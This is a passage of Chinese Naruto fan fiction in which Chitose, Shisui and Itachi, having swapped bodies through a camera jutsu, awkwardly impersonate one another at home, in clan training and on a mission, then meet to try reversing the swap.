最角落的位置,摆着一个小小的、朴素的木盒,千歲犹豫了一下,轻轻打开,里面放着几块磨损的旧手里剑,还有几张孩童涂鸦——看得出来是小佐助画的,歪歪扭扭的一家人,线条稚嫩又温暖。
她愣了愣,嘴角不自觉轻轻弯起。
原来在外人面前沉稳冷淡、像小大人一样的鼬,也会悄悄收着弟弟的涂鸦,把温柔藏在别人看不见的地方。
窗外夜色渐深,月光透过纸窗洒进房间,落在少年清冷的身影上,却裹着少女柔软的心事。千歲盘腿坐在榻榻米上,环顾这间满是细节的房间,心里悄悄多了几分理解与心疼。
原来他不只是族人眼里的天才、父亲口中的希望,也不只是平时那个话少冷静的同伴。他会认真读书,会细心保养刃具,会悄悄珍藏弟弟的画,会用自己的方式,把所有压力都默默扛下来。
“鼬这家伙……”她用鼬低沉的声线,小声地、软乎乎地嘀咕了一句,“其实比看上去要温柔多了啊。”
这一刻,顶着鼬身体的千歲,好像比以往任何时候,都更懂了一点眼前这个少年。
此时,腹部忽然一阵急意,整个人瞬间僵住——
糟了,要上厕所。
这念头一冒出来,千歲(鼬身体)的脸“唰”地一下就红透了,连耳朵尖都烫得厉害。
她顶着鼬的身体,站在走廊里扭捏半天,脚步挪得磨磨蹭蹭,脸颊发烫,心里乱成一团:怎么办怎么办,男生的厕所……也太尴尬了吧!!
她轻手轻脚溜进卫生间,关上门的瞬间,整个人靠着门板滑下半截,捂着脸恨不得原地消失。
盯着眼前完全陌生的陈设,她半天不敢动,脸颊烫得能煎鸡蛋,紧张得手心全是汗,折腾了好一阵才手忙脚乱解决完问题。
出来的时候,她整个人都蔫哒哒的,脸红得还没褪下去,走路都变得浑身不自在,刻意绷着脸,努力装作什么都没发生的高冷模样。
刚走到客厅,美琴端着水果走过来,见她脸色不太自然,温柔地开口:“怎么了,身体不舒服吗?”
千歲吓得一激灵,心脏猛地一跳,强行压下尴尬,绷着清冷的声线,语速飞快又简短地吐出两个字:“……没有。”
说完,不等美琴再问,几乎是逃也似的快步走回鼬的房间,关上门的瞬间,整个人直接扑在榻榻米上,把脸埋进臂弯里,羞耻地小声哀嚎:
“太尴尬了太尴尬了!这辈子都没这么尴尬过!快点换回来啊——”
19. 第十九章 互换身体3
宇智波枭府邸
另一边,止水顶着千歲小小的身子,站在门口深吸一口气。
他回忆了一下白天少女的样子,拉开门就扬起甜甜的声音,乖巧得不像话:
“我回来了——”
宇智波枭正坐在桌边看文件,头也没抬,淡淡应了一声:“嗯。”
可等止水换好鞋、安安静静跪坐好,双手还规规矩矩放在膝上,一副超懂事的样子时,枭终于放下手里的东西,目光沉沉地落在他身上,眉头几不可查地皱了一下。
气氛先一步变得微妙。
止水还没察觉不对劲,努力维持甜美乖巧,微微歪头:“爸爸,今天晚饭有什么呀?”
宇智波枭沉默两秒,语气带着明显的疑惑,甚至还有点警惕:
“……你今天,又想跟我提什么要求?”
止水:“?”
看他一脸茫然,宇智波枭直接点明:
平时的千歲,一进门就吵吵闹闹,要么抱怨训练累,要么吐槽村子里的小事,说不到两句就开始跟他拌嘴,活泼归活泼,和“温柔安静乖乖女”这几个字完全不沾边。
今天这么乖,这么甜,这么懂事——
在枭眼里,只有一种可能:有事相求。
止水瞬间僵住,心里疯狂刷屏:
糟了……我不知道她和枭相处平时是这种风格啊!
桌上摆好饭菜,正中就是那碗标志性纳豆。
枭又把碗推过来,眼神依旧带着审视:“吃吧。”
止水学着印象里的少女,小口小口吃饭,细嚼慢咽,还不忘轻声道谢:“谢谢爸爸。”
这一下,枭更怀疑了,放下筷子盯着他:
“你到底想干嘛。”
止水差点被米饭呛到,慌忙摆手,努力维持软萌:“没、没有呀,我只是今天比较乖而已……”
“你从没有这么乖。”枭直白戳穿,语气严肃,“想要新的忍具?还是想晚归?”
止水欲哭无泪:我只是在正常扮演啊!
为了不暴露,他只能硬着头皮继续乖巧,轻轻低下头,声音小小的:
“我就是……今天玩得有点累,想安静一点嘛。”
说完还小心翼翼地夹了一筷子纳豆,努力不皱脸,小口吃掉——
这一幕落在枭眼里,更加可疑。
自家女儿别说主动吃纳豆了,不嫌弃地撇撇嘴就不错了。
止水越乖,枭越怀疑,全程眼神都没离开过他,仿佛要看出这女儿是不是被人伪装了。
止水每动一下都心惊胆战,说话轻声细语,吃饭规规矩矩,帮忙收拾碗筷也勤快得过分。
枭看着他忙碌的背影,终于幽幽来了一句:
“有要求直接说,别这样。”
止水背对着他,差点原地崩溃。
等终于逃回千岁的房间,他直接瘫在榻榻米上,顶着金发少女的脸,一脸生无可恋:
“原来……乖也是一种错吗?”
“千歲平时到底是怎么跟她爸爸相处的啊,这也太难模仿了吧!”
一想到还要演两天,止水忍不住扶额苦笑:
果然,应付千歲爸爸这种事,比写轮眼训练还难。止水缩在千歲的房间里,原本放松的肩背忽然一僵——傍晚在公园追逐打闹,加上晚饭全程提心吊胆冒冷汗,衣服贴在背上的,难受得坐不住。
下一秒,一个让他头皮发麻的念头炸开:必须洗澡。
止水猛地僵在原地,顶着千岁柔软蓬松的金发,耳尖“唰”地一下红透,从耳廓一路烧到脸颊,连脖颈都泛起薄红。他下意识低头,看着自己那双小巧纤细、属于少女的手,指尖微微蜷缩,陌生的触感让他心头猛地一跳,慌忙背过身去,不敢再多看一眼。
千歲的身体……这几个字在脑海里打转,止水只觉得心跳快得不像话,连呼吸都变得小心翼翼,生怕动静大一点,就显得太过冒犯。他坐在榻榻米上磨蹭了半天,脑子里乱糟糟的,是铺天盖地的羞耻,恨不得当场把自己藏起来。
终究是熬不过不适感,他抱着千歲的浴衣,轻手轻脚挪到浴室门口,像做贼一样左右张望,确认枭没注意这边,才飞快闪身进去,反手把门扣紧。
背靠冰凉的门板,止水依旧心跳如鼓,他死死闭着眼,脸颊烫得能烧起来,全程不敢睁开分毫,动作僵硬得如同提线木偶。指尖不小心触碰到肌肤时,他浑身一僵,触电般收回手,耳根红得快要滴血,心底反复默念:对不起、对不起,我不是故意的……
明明只是简单冲洗,却过得像一场漫长的任务,他连呼吸都放得极轻,生怕惊扰到什么,满脑子都是千歲平日里笑眼弯弯的样子,越想越羞,脸颊烫得越发厉害。
好不容易胡乱冲完,他手忙脚乱套上浴衣,腰带系得歪歪扭扭,也不敢整理,湿漉漉的金发搭在肩头,水珠顺着脖颈滑进衣料,引得他又是一阵轻颤。
他低着头,恨不得把脸埋进胸口,快步往房间窜,连耳朵都不敢竖起来,只想逃离这让人手足无措的浴室。
“洗完了?”
宇智波枭的声音猝不及防响起,止水吓得浑身一哆嗦,脚步猛地刹住,头埋得更低,泛红的耳尖彻底暴露在灯光下。他不敢抬头看枭,只能用尽全力压着颤抖的声线,软乎乎的少女语调里,裹着藏不住的窘迫:“……嗯。”
枭看着他通红的耳尖,眉头微挑:“脸怎么这么红?”
“没、没有!”止水慌忙摇头,声音都带着细微的颤,急急忙忙找借口,“水、水有点热……”
接过枭扔来的毛巾,他连声道谢都带着慌乱,几乎是逃进房间,关上门的瞬间,直接顺着门板滑坐下来。
他捂着发烫的脸颊,顶着千歲可爱的面容,眼底满是少年人独有的慌乱与羞涩,心跳依旧快得压制不住。
每一寸触感都让他既无措又心动,羞耻又小心翼翼。
“难道……我对千歲…”
宇智波镜府邸
止水家的氛围意外地轻松。屋内陈设简单温暖,宇智波镜老爷子头发花白,笑容温和,完全没有族中长辈的严肃,一眼看去就让人放松。
顶着止水身体的鼬举止沉稳有度,说话轻声有礼,帮忙端饭、收拾碗筷,动作自然又妥帖。老爷子只当这孩子越发稳重,笑着叮嘱几句注意身体,便早早回屋休息,全程没有半分怀疑。鼬也因此松了口气——比起另外两边的惊心动魄,这里算得上安稳。
可这份安稳没持续多久,门口传来急促的敲门声,小队联络忍猫叼着纸条回来,上面写着临时任务,即刻出发。鼬看着纸条,轻轻蹙眉,止水的小队,他只大致听过注意事项,并不清楚细节。
赶到村口时,一男一女已经等候在那。男生黑发利落,性格跳脱,是止水的队友海斗;女生则是耀眼的红发,气质清冷高傲,眉眼精致却带着疏离,正是漩涡咲。她站在树下,目光落在远处,看上去不太好接近。
“止水!”海斗挥挥手,语气熟络,“速度挺快啊。”
鼬微微颔首,用止水温和的声线应了一声,尽量保持平常:“久等了。”
一旁的漩涡咲没有说话,只是淡淡扫了他一眼,眼神里带着一丝不易察觉的在意,却依旧保持着高傲冷淡的模样。鼬不动声色地观察着,心里已经有了几分异样——这眼神,分明是少女藏不住的心意。
鼬记得止水提过,平时会喊她小咲。可习惯使然,加上此刻内心紧绷,他开口时,下意识用了自己平时最规范的称呼方式:
“漩涡。”
一声落下,现场瞬间安静。海斗猛地瞪大眼睛,一脸“你没事吧”的表情看向他。漩涡咲的脸色更是明显一僵,原本冷淡的表情裂开一瞬,高傲的眉眼微微蹙起,指尖轻轻收紧。
她沉默几秒,声音冷了几分,带着
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不易察觉的委屈和疑惑:
“……你叫我什么?”
鼬心头一紧,立刻意识到出错。他习惯了对同辈正式称呼,却忘了止水的温柔随意。他顿了顿,努力让语气变得柔和,试图补救:“……小咲。”
声音是止水的,可那份过于克制的沉稳,怎么听都有点生硬。漩涡咲眉头皱得更深,明显察觉到不对劲,却没再多问,只是转过身,语气更冷:“出发。”
海斗偷偷凑到鼬身边,小声嘀咕:“喂,止水,你今天怎么怪怪的?跟小咲闹别扭啦?以前你可不是这种态度。”
鼬淡淡瞥他一眼,声线温和,却带着一种莫名的压迫感:“专心任务。”海斗被他看得一缩脖子,默默闭嘴:今天的止水,气场有点吓人……
鼬走在后面,目光不经意间又落在前方红发少女的背影上,内心悄悄掀起波澜。
他其实一直都悄悄看在眼里:止水看向千歲时,眼底总是不自觉放软,会下意识迁就她的小脾气,会记得她爱吃的点心,那份心意认真又克制,是实打实的喜欢。
可千歲那家伙,大大咧咧,心思单纯,平日里只把止水当作可以打闹的亲近前辈,对他的心意浑然不觉,连吃醋都像是本能反应,自己都未必明白那份在意是什么。
他原本是觉得两人相处温馨,默默看好这一对,可现在又多了一位对止水抱有心意的漩涡咲,局面一下子变得复杂起来。
止水这家伙,自己藏得这么深,千歲又完全不开窍,还要面对小队同伴的心意……鼬微微蹙眉,冷静的脑子里第一次多出几分八卦式的无奈,只觉得这场互换,意外窥见了好友太多心事。
途中,新一轮危机悄然而至。遇到埋伏的敌人,海斗性格冲动,直接提刀冲上前:“我来解决!”
“等等,太莽撞了——”鼬下意识开口,语气里带着明显的制止和冷静判断,和止水平时笑着吐槽“你这家伙慢点”的风格完全不同。
他出手利落,招式精准,力量控制得恰到好处,冷静得不像平时爱笑的止水,更像一位习惯预判、思虑周全的指挥官。每一个动作都标准、高效、无多余,完美得近乎刻板。漩涡咲站在他身后,清冷的眼神一直落在他身上,越看越疑惑,目光里的在意也越发明显。
战斗结束,鼬微微喘了口气,习惯性整理衣物,动作一丝不苟,透着鼬本人独有的严谨。他余光瞥见漩涡咲依旧盯着自己,耳尖似有淡淡的红,
内心再次轻叹:止水若是知道这份心意,大概也会觉得为难吧,毕竟他的心思,早就放在那个大大咧咧的千歲身上了。
漩涡咲走上前,目光直直盯着他,声音冷淡却带着穿透力:“你今天,很奇怪。”
鼬心头一紧,面上依旧维持温和:“哪里奇怪?”
“说话方式,战斗习惯,还有……”她顿了顿,脸颊微微泛红,却依旧高傲地抬着下巴,“你对我的态度。”
海斗也凑过来点头:“对啊对啊,你今天一点都不搞笑,也不闹,冷静得像换了一个人。”
鼬沉默一瞬,迅速找到理由,声音放轻,带着止水式的温和歉意:“昨晚陪爷爷,没睡好,有些累。”
他微微垂眸,刻意放缓语气,努力模仿止水的柔软:“抱歉,小咲,让你在意了。”
这一声“小咲”放得格外软,漩涡咲哼了一声,别过脸,耳尖却悄悄泛红,语气依旧冷淡,却软了几分:“知道了,下次别这样。”
海斗也恍然大悟:“原来是没睡好!难怪这么严肃!”
看着两人终于不再怀疑,鼬轻轻松了口气,内心的思索却没停下。
等换回去之后,或许可以稍微提醒一下止水,别把心意藏得太深,至于千歲那个笨蛋……大概只能慢慢来。
一向沉稳的少年,此刻顶着止水的身躯,心里悄悄盘算起了好友的感情线,眼神里也多了几分不易察觉的复杂与促狭。
20. 第二十章 互换身体4
宇智波族地训练场
天刚蒙蒙亮,宇智波族地的训练场便已聚满了族人,手里剑与苦无破空的清脆声响此起彼伏。
千歲顶着鼬清冷俊秀的面容,混在队伍末尾,脊背挺得笔直,双手规规矩矩贴在身侧。
这是她第一次知晓原来宇智波一族也会集合在一起训练,自己的父亲从未跟自己提过,也没有让自己参加过。
富岳大人可太严格了吧。
昨夜的羞耻与紧张还没散尽,此刻一想到要在族人面前展露“鼬”的实力,她后颈的汗毛都竖了起来,心里反复默念:千万别露馅……
宇智波富岳身着族服,身姿挺拔地站在训练场高台之上,锐利的目光扫过全场,最终定格在自家长子身上,沉声道:“鼬,出列。”
千歲心脏猛地一缩,迈着同手同脚的步子走出队列,努力绷着那张面瘫脸,微微低头应道:“是。”
周围族人的目光纷纷投来,皆是对宇智波天才的期许,千岁只觉得后背发毛,恨不得把脑袋埋进衣领里。富岳缓步走下高台,语气平淡却带着不容置疑的威严:“昨日便说,看看你近期的训练成果,先从手里剑开始。”
旁边的族人立刻摆好靶盘,千歲捏起手里剑,指尖微微发颤。她照着记忆里鼬的姿势,抬手、蓄力、掷出,动作僵硬得像是生锈的机械。手里剑歪歪扭扭飞出去,“哐当”一声擦着靶边砸在地上,连靶心的边都没碰到。
训练场瞬间安静一瞬,几个年轻族人偷偷对视一眼,眼里满是诧异——这可不是宇智波天才该有的水平。
千歲脸颊发烫,她硬着头皮又拿起一枚,这次憋足了劲,结果手里剑直接飞偏,扎进了旁边的树干里,晃了两晃才稳住。
富岳眉头微挑,语气多了几分疑惑:“手里剑的准头,退步如此明显?”
千歲心里哀嚎不止,面上却只能维持冷淡,低声道:“……昨日状态不佳。”
“罢了,换火遁。”富岳挥挥手,示意她继续。
这下千歲彻底慌了。她顶着鼬的身体,对火遁查克拉运转一窍不通,完全是门外汉。她深吸一口气,结印时手指都快打结,勉强凑出豪火球的印式,张嘴吐出一小团微弱的火星,火苗颤巍巍飘了半米就灭了,连面前的草叶都没烧着。
周围传来压抑的轻咳声,富岳的眉头皱得更紧,上前一步:“你的查克拉控制,为何如此生疏?
”
富岳见她迟迟不语,指了指不远处的岩石训练桩:“用体术,攻过来。”
眼看就要露馅,千岁脑子一片空白,下意识调动起体内潜藏的怪力本能——那是刻在她灵魂里的力量,此刻情急之下,竟顺着鼬的查克拉脉络涌了出来。
千歲摆开架势,没有用鼬精妙的体术招式,反而攥紧拳头,周身隐隐泛起淡蓝色的查克拉波动。她猛地冲上前,一拳砸在石桩上,只听“轰隆”一声巨响,半人高的岩石桩瞬间裂开细纹,碎石簌簌掉落,整根石桩都晃了三晃。
全场哗然,连富岳都瞳孔微缩,难以置信地看向自家儿子。
千歲自己也懵了,收回拳头时才反应过来,心脏狂跳:完了!这不是鼬的力量!怪力露馅了!
她立刻收回所有查克拉,重新绷起那张清冷的脸,垂眸站好,手心全是冷汗,等着富岳的质问。
富岳走到石桩前,指尖抚过裂痕,回头看向鼬,目光复杂:“这般纯粹的爆发力,并非宇智波常规体术,你什么时候练就的?”
千歲脑子飞速运转,硬着头皮编造:“是,是昨天千歲刚教我的…”
是宇智波枭家的那个小女儿,怎么这两人倒凑到一块儿去了。
富岳盯着她看了许久,那张脸依旧是鼬的沉稳冷淡,只是耳尖悄悄泛着一丝不易察觉的红色。他终究没再多疑:“力量不错,却过于刚猛,需配合精准度打磨,今后手里剑与火遁也不可懈怠。”
千歲立刻低头:“是,我记住了。”
不远处,三岁的小佐助被美琴牵着手,趴在训练场边看晨练,见尼桑一拳砸碎石桩,立刻拍着小手奶声奶气喊:“尼桑好厉害!”
千歲余光瞥见软乎乎的小团子,心里一暖,差点又忍不住露出笑容,赶紧强行压下嘴角,只微微偏头,用极淡的语气应了一声,僵硬的模样惹得美琴温柔轻笑。
小佐助迈着小短腿,飞快地扑到她腿边,仰着小脸,乌黑的眼睛里满是担心:“尼桑,你的手是不是酸了呀?”
千歲蹲下身,看着这团软乎乎的小团子,心里紧绷的神经瞬间松了一下。她刚想模仿鼬的语气说“没事”,一只温暖的手轻轻抚上了她的后背。
“看来今天是真累坏了。”
美琴的声音温柔得像午后的暖阳,她顺势轻轻扶住千岁的肩膀,另一只手替她理了理被风吹乱的碎发。指尖触碰到颈侧肌肤的那一刻,千岁的身体下意识地绷紧了。
美琴细致地擦去她额角的冷汗,眉头轻轻皱起,语气里满是心疼:“你爸爸就是这样,嘴上严厉,但心里
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都想着你呢。不要气馁。”
千歲愣住了。
她怔怔地看着美琴近在咫尺的笑脸。那双眼睛里没有指责,只有纯粹的怜惜与包容。
这种感觉,太陌生了。
她从小跟着枭长大。父亲宇智波枭是个极好的父亲,他把所有能给的资源、所有能给予的保护都给了她。可他是男人,性格内敛,不善言辞,更多的是用严厉的规矩来约束她,用沉默的行动来为她遮风挡雨。
可却唯独少了一份可以撒娇、可以示弱、可以被当作孩子疼爱的母女温情。甚至因为枭的严肃,她习惯了有委屈也憋着,有累也忍着,连拌嘴都要讲究分寸,生怕惹父亲烦心,才塑造了她一副倔强的性格。
可此刻,美琴这轻轻一摸,这一句温柔的安慰,像一股柔软的水流,缓缓淌过她干涸已久的心田。
千歲看呆了。
“妈妈……”
她张了张嘴,眼底瞬间泛起一层薄薄的水汽。她极力忍着,不想在这双温柔的眼睛面前掉眼泪,可鼻尖还是忍不住发酸。
美琴敏锐地察觉到了她的异样,没有追问,只是更加用力地轻轻拍了拍她的后背,动作重复而有节奏,像是在安抚一只受到惊吓的小猫。
“回去吧,”美琴牵起她的手,十指自然相扣,那只手温暖而干燥,“家里炖了汤,补补身子。回去好好睡一觉,什么都别想。”
握住那只手的瞬间,千歲的心像是被什么东西狠狠撞了一下。
如果……如果那个从未见过面的母亲还在世的话,应该也是这样的吧?
会用掌心的温度驱散她所有的委屈,不管她在外面是多么厉害的忍者,回到家都只是那个需要被照顾的孩子。
被妈妈捧在手心里疼爱的感觉,是这样的。
仅仅是这一个动作,一句安慰,就足以让她在这个充满了责任与宿命的宇智波族地里,找到一处瞬间卸下防备的港湾。
小佐助不知何时抱住了她的另一条腿,软糯的声音在耳边响起:“尼桑,跟我们回家吧。我把我的布丁留给你,吃了就不酸啦。”
千歲低头看着腿边的小佐助,又抬头看向牵着自己手、笑容温柔的美琴。阳光透过枝叶的缝隙洒在她们身上,把三个人的影子拉得很长很长,暖得让人想落泪。
她用力眨了眨眼,把那层即将溢出的水雾逼了回去。
“……好。”
在美琴宠溺的目光里,她任由这只温暖的手牵着,一步步走出训练场。
21. 第二十一章 互换身体5
宇智波枭府邸
天刚泛起鱼肚白,止水顶着千岁小巧的身子,顶着一头乱糟糟的金发,顶着一对浓重的黑眼圈,蔫蔫地坐在卧室榻榻米上。
昨夜复盘许久,他终于得出一个惨痛结论:乖巧懂事=心怀鬼胎,在千歲家行不通。要想不被枭怀疑,必须复刻少女咋咋呼呼、随性散漫的模样。
他深吸一口气,对着镜子努力扯出一个不算甜腻、带着点小懒散的表情,抓了抓头发,故意把整齐的刘海揉得乱七八糟,这才趿拉着拖鞋,慢吞吞走向客厅。
刚到门口,他就按照预想的,故意拖长语调喊了一声:“老爸——我饿了。”
宇智波枭端着粥从厨房走出,抬眼扫了他一下,见女儿头发乱糟糟、眼神惺忪,一副没睡醒的随性模样,紧绷了一整晚的眉头终于舒展开,语气也自然了不少:“醒了就坐好,早饭马上好。”
早餐已经准备好。
枭慢悠悠喝着茶,目光落在少女身上。
“千歲。” 枭淡淡开口。
止水心里一紧,手里的筷子差点掉地上,赶紧努力维持着千岁平时那种“被抓包乖乖听话”的姿态。
“之前听你说,跟止水修炼很开心?” 枭放下茶杯,“还说他人品好、性格棒?”
止水头顶冒出一排问号,内心疯狂呐喊:我什么时候说了?我明明只在心里想! 可嘴上却不能拆穿,只能硬着头皮,顶着那张少女的脸,露出一个灿烂又带着点小骄傲的笑容:
“对啊!止水他真的超厉害的!”
为了不显得刻意,止水特意加大了音量,完全不像平时那种害羞的小女生,反而带着一种理直气壮的喜爱:“他不仅忍术厉害,人还特别靠谱,从来不会欺负我,还会教我怎么控制查克拉……跟他在一起,我觉得特别有安全感!”
枭似乎对女儿这种毫不掩饰的夸奖有些意外:“哦?这么崇拜他?”
“那是当然!” 止水一激动,动作幅度都大了些,双手拍在膝上,整个人透着一股直球式的兴奋,“我最喜欢止水了!他就是我心里最好的朋友,没有之一!”
话音刚落,空气突然安静了两秒。
止水敏锐地感觉到气氛变了。他抬头对上枭那双深邃的眼睛,那眼神里分明写着:真的只是朋友?这么激动干嘛?
止水心里咯噔一下,瞬间想起了自己之前“装乖”被识破的惨痛经历。完了,夸得太猛了,人设又要崩了!
他连忙收敛了一下过于兴奋的表情,试图挽回:“呃……我的意思是,当然也有其他好朋友啦,比如……比如族里的小伙伴。但是!止水他确实是最特别的那一个!”
说着,他又怕枭觉得太暧昧,赶紧双手抓着裙摆,低下头,用有点心虚的语气补了一句:
“就是……因为我平时总念叨他嘛,我、我也不想承认的,大家都觉得他真的太优秀了,夸着夸着就变成这样了……”
这一顿操作,说得又直又曲折,既在枭面前光明正大地表了白,又强行给自己套了个“被大家带偏”的合理借口,完美化解了“太喜欢一个人”的尴尬嫌疑。
枭看着眼前这女儿——一会儿兴奋得像只摇尾巴的小狗,一会儿又窘迫得想找地缝钻。
不对劲。
总觉得还是有哪里不对劲。
枭喝完最后一口茶,放下瓷碗,手指轻轻敲击着桌面,语气漫不经心,却带着一双看穿真相的锐利眼睛。
“女孩子要矜持一点。” 枭瞥了一眼正在努力装成少女模样的止水,慢悠悠开口,“喜欢不喜欢的,别整天挂在嘴边。”
谁知枭话锋一转,眼神里闪过一丝玩味:“不过,怎么最近没听你提起那位难兄难弟了?”
“难……难兄难弟?” 止水动作一僵,脑子里飞速转圈。谁啊?千歲的朋友里有这号人物吗?难道是哪个不知名的路人甲。
“嗯?” 枭敏锐地捕捉到了止水那一瞬间的茫然,眉头微挑,“你不记得了?木村啊?”
“木村?” 止水愣了愣,随即反应过来。噢!是那个忍校定期测验时,总是爱跟和真老师顶嘴的刺头小孩。看着人高马大,其实脑子有点直的那个。
“怎么可能不记得呀!” 止水立刻接上了千歲的声线,努力回忆着少女的语调,“木村那家伙,最近还嚷嚷着说毕业马上要进暗部呢!他对暗部工作超级憧憬的,简直是个狂热粉。”
枭挑了挑眉,依然不依不饶:“是吗?那我怎么听说,前几天他专门跑到家里来,说是邀请你去他家店里,尝尝新做的抹茶草莓大福?”
止水瞳孔微缩,整个人都僵住了。
什么?! 他心里瞬间炸锅。
这句话倒把止水问
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住,心底翻涌起一阵古怪又酸涩的情绪,乱糟糟地缠成一团。木村?他和千歲是什么关系,从来没有听千歲提起过。两人竟要好到对方特意登门,还拿草莓大福当由头专程邀约?
这哪里是邀请,分明是没半点技术含量的小伎俩,摆明了想用零食哄人。千歲那个笨蛋,向来对甜食毫无抵抗力,真被找上门了,指不定乐呵呵地就跟着走了,半点防备心都没有。
一想到那副画面,他心里的酸意就止不住往上冒,莫名有些闷闷的不快。
枭死死盯着顶着少女身躯的止水,眼神里带着一丝审视,又像是在看一个有趣的戏码:“可惜那时候你不在,我让他下次再来了。怎么,这就把人家忘脑后了?”
止水心里一紧,完了,他这是在试探我! 他深吸一口气,顶着千歲那张人畜无害的脸,开始了一场毫无逻辑但气势十足的“自黑”式表白:
“您说那个木村啊……” 止水砸了砸嘴,试图装出一副“见多识广”的成熟少女样,其实内心在疯狂抓狂,“我觉得吧,他虽然人还行,但一看就没有止水厉害。你看他,连瞬身术都不会,反应也没止水快,看上去就没有止水聪明伶俐。我肯定更喜欢止水呀。”
说完,止水自己都愣住了。难道自己鬼上身了,他这逻辑简直离谱,怎么听怎么像是在强行拉踩,但不知为何,他就是想把木村比下去,想在宇智波枭面前狠狠夸一遍自己。
枭看着自家“女儿”一本正经地胡说八道,眼神里的探究散去。他端起茶杯,淡淡应道:“这样啊。”
他早已看穿了一切。
昨天晚上那副反常的乖巧,今天早上这股子对另一个男生的“狂热”贬低,还有这毫不掩饰的偏心……结合这两天的蛛丝马迹,枭心里已经有了定论:自己的女儿绝对是被止水附体了。
不过他没有当场拆穿。
毕竟,看着止水顶着自家女儿的身体,在那儿一本正经地疯狂夸自己、贬低别人,这画面实在太有趣了。倒不如顺水推舟,看看他还能整出什么新花样。
止水没察觉到宇智波枭的变化,还在暗自庆幸:还好圆回来了!虽然刚才说话有点像个没脑子的傻瓜,但总比暴露身份强!
他悄悄舒了一口气,挺直了背脊,心里暗暗发誓:为了千歲,以后只要是木村邀请,一律拒绝。必须给那小子一点颜色看看。
22. 第二十二章 互换身体6
木叶村口
次日清晨薄雾未散,鼬,海斗,漩涡咲三人再度在村口集合执行后续任务。经过昨日的小插曲,漩涡咲看向“止水”的目光里,少了几分平日的清冷高傲,多了难以掩饰的在意与试探。
一路上,红发少女刻意放慢脚步与他并肩,不再像从前那般疏离沉默,时不时侧眸看他,轻声提醒路况,甚至主动将随身携带的补水递到他面前,细碎的示好直白又温柔。海斗在前面蹦蹦跳跳探路,完全没察觉身后暗流涌动的气氛。
鼬接过水壶,指尖轻触便立刻收回,微微道了声谢,语气克制有礼,却始终保持着恰到好处的距离感。他习惯了待人沉稳有度,对其他异性的亲近,只会下意识保持疏离分寸。
这份刻意的冷淡,让漩涡咲心里愈发发闷。
从前的止水虽温柔,却从不会这般疏远,哪怕是礼貌相待,也带着少年独有的轻快暖意,可如今的他,客气得像个陌生人,明明近在咫尺,却让人觉得远得触不可及。
中途休整时,鼬寻了处干净的石块坐下,安静整理着刃具包,动作依旧是鼬式的一丝不苟。漩涡咲看了眼跑去溪边打水的海斗,眼底闪过一丝决意,快步走到他面前站定,刻意制造出两人独处的空间。
阳光透过树叶落在她泛红的耳尖,平日里高傲清冷的少女,此刻微微垂着眼,放下了所有身段,声音轻得带着委屈:
“止水,我有话想问你。”
鼬抬眸看向她,眼底带着几分浅淡的疑惑,却依旧是那副克制沉稳的模样。
“从前我就知道,你的温柔从来都不是只对我一个人。”漩涡咲垂在身侧的手微微收紧,声音带着不易察觉的颤抖。
“我想着,这样便罢了……可最近,你连从前的温柔都没了,对我忽远忽近、若即若离,我真的搞不懂,到底是为什么。”
她深吸一口气,抬眼直直望进他的眼底,泛红的眼角藏着满腔心事,声音轻却坚定:
“你真的……一点都不懂我的心思吗?”
完了,这是什么展开。
这句话落下,鼬的身体一僵,握着苦无的手指骤然收紧。
他向来冷静缜密,此刻却彻底慌了神,眼底第一次露出无措的神色。他顶着止水的身体,根本无法替止水做出任何回应,既不能直白拒绝伤害少女,也不能假意接受违背心意,进退两难间,连一贯平稳的声线都微微滞涩。
他张了张嘴,却半个字都无法回应,只能沉默着垂眸,避开少女直白又期待的目光,心底一片慌乱——他该怎么说?又能怎么说?这份心意,他无权替止水接下,更不能随意伤了眼前人。
气氛瞬间凝滞到极点,尴尬与无措缠在一起,让一向沉稳的鼬都有些坐立难安。
就在鼬几乎要绷不住时,溪边传来海斗咋咋呼呼的喊声,伴随着哒哒的脚步声快速靠近:“止水!小咲!这里的水好凉,快来洗把脸!”
海斗拎着水壶跑回来,一头撞进凝滞的气氛里,全然没察觉两人间的异样,挠着头一脸茫然:“咦?你们怎么都不说话?吵架啦?”
漩涡咲迅速收敛眼底的落寞与期待,重新抬下巴恢复往日清冷高傲的模样,耳尖的绯红却迟迟散不去,别过脸淡淡哼了一声:“没有。”
鼬也趁机松了口气,轻轻起身,刻意放缓语气掩饰方才的慌乱,声音依旧是止水的温和,却带着一丝不易察觉的疏离:“走吧,休整完毕,继续任务。”
海斗傻乎乎地点头,转身蹦蹦跳跳地往前走,丝毫没打破身后两人心底的波澜。
鼬走在最后,余光瞥见身旁红发少女紧绷的侧脸,心底轻轻叹了口气。
这场突如其来的告白,让他越发觉得棘手。等换回身体,一定要把这件事原原本本告诉止水,感情里的事,只有他自己能做决定。
而此刻的他,只能继续顶着止水的身体,小心翼翼维持着分寸,不靠近、不越界,守好属于好友的边界。
忙活了一整天,傍晚公园里。
三个忙得焦头烂额的人,不知不觉都晃到了公园。
止水顶着千歲的小身子,千歲顶着鼬的冷脸,鼬顶着止水的温柔笑容——三个人一照面,眼神里都写着同一句话:“救、命、啊。”
“仅仅才过去一天,就度日如年。”止水率先开口,顶着少女的脸,却发出一副被生活毒打过的沧桑语气,“千歲的爸爸太吓人了。再这样下去,我都要开始怀疑人生了。”
“快点换回来吧,我再也装不下去了。”千歲顶着鼬那张高冷面瘫,却一脸快哭出来的表情,“每天要装冷静、装成熟、装宇智波天才,我真的装不动了!”
“嗯,再这样下去,会发生很多不太好的事情。”鼬顶着止水的身体,轻轻叹了口气,语气一如既往地冷静。
千歲手忙脚乱地从自己的刃具包里翻了半天,终于掏出那台惹祸的相机,像捧着什么禁忌道具一样小心翼翼:“那……有没有什么方法可以复原呢?”
鼬接过相机,冷静分析:“既然是忍术造成的互换,那就一定有解开的方法。”
“触发的开关是快门。”止水在一旁补充,眼睛里闪着一丝“理论上可行”的光。
“那……或许再按一次,我们就可以回到原来的身体里?”千歲眼睛一亮,提议道。
“不排除这种可能。”鼬点头。
“要不,试一试?”千歲举着相机,声音却有点发虚。
“事到如今,也只能这样了。”止水深吸一口气,又很快补充了一句,“不过,为了保证成功率,我们得两个两个先试一试。万一一下子全乱套了,那就真麻烦了。”
“那……谁先啊?”千歲立刻往后缩了缩,一副超怂的样子。
“当然是你咯,”止水顶着她的脸,露出一个欠揍的笑容,“这是千歲捡来的相机,你要负责。”
“坏止水,什么招都出我身上!”千歲瞬间炸毛,顶着鼬的身体做出一个极其违和的少女气鼓鼓动作。
“好啦好啦。”止水赶紧安抚,“我和你一起,这样总可以了吧。”
说罢,他打开相机。
